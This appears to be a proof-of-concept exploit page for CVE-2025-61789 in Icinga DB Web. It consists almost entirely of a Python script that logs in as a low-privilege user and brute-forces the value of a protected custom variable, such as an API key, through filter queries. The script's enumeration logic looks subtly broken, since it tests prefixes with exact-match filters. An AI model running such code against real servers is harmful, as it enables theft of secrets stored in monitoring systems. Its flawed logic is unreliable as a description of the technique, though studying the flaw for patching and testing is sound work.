CVE-2025-61789 Icinga DB Web 受保护变量信息泄露漏洞

# CVE-2025-61789 PoC - Icinga DB Web Protected Variable Information Disclosure # This PoC demonstrates how an authorized user can guess values of protected # custom variables through filter-based blind information disclosure. import requests # Configuration TARGET_URL = "https://icinga-db-web.example.com" USERNAME = "low_priv_user" PASSWORD = "user_password" PROTECTED_VAR = "secret_api_key" # The protected custom variable name TARGET_OBJECT = "hostname.example.com" # Target host/service to query # Step 1: Authenticate to Icinga DB Web session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/authentication/login", data=login_data) # Step 2: Exploit - Use filter with protected variable to guess its value # The vulnerability allows using protected vars in filters, and the response # differs based on whether the guessed value matches the actual value. def check_filter_value(session, guess_value): """ Craft a filter using the protected variable and check if the guess is correct. In vulnerable versions, the server returns different responses based on whether the filter condition matches. """ filter_expr = f"host.name==\"{TARGET_OBJECT}\"&&vars.{PROTECTED_VAR}==\"{guess_value}\"" params = { "filter": filter_expr, "columns": "host.name" } response = session.get(f"{TARGET_URL}/icingadbweb/host/list", params=params) # If the result set is non-empty, the guessed value is correct # In vulnerable versions, this bypasses the protection mechanism return response.json() # Step 3: Blind enumeration of the protected variable value # Use character-by-character brute force or binary search def enumerate_variable(): discovered_value = "" charset = "abcdefghijklmnopqrstuvwxyz0123456789_-{}@!#$%^&*" for position in range(50): # Max length assumption found_char = None for char in charset: test_value = discovered_value + char result = check_filter_value(session, test_value) # Check if the filter matched (indicating prefix is correct) if result and len(result.get("results", [])) > 0: # Try extending to confirm test_extended = test_value + charset[0] result_ext = check_filter_value(session, test_extended) if not result_ext or len(result_ext.get("results", [])) == 0: found_char = char break if found_char is None: break discovered_value += found_char print(f"Discovered so far: {discovered_value}") return discovered_value # Note: In fixed versions (1.1.4 / 1.2.3), the server returns an error # when protected variables are used in filters, preventing this attack. if __name__ == "__main__": print("CVE-2025-61789 PoC - Protected Variable Information Disclosure") print(f"Target: {TARGET_URL}") print(f"Protected Variable: {PROTECTED_VAR}") # value = enumerate_variable() # print(f"Discovered value: {value}")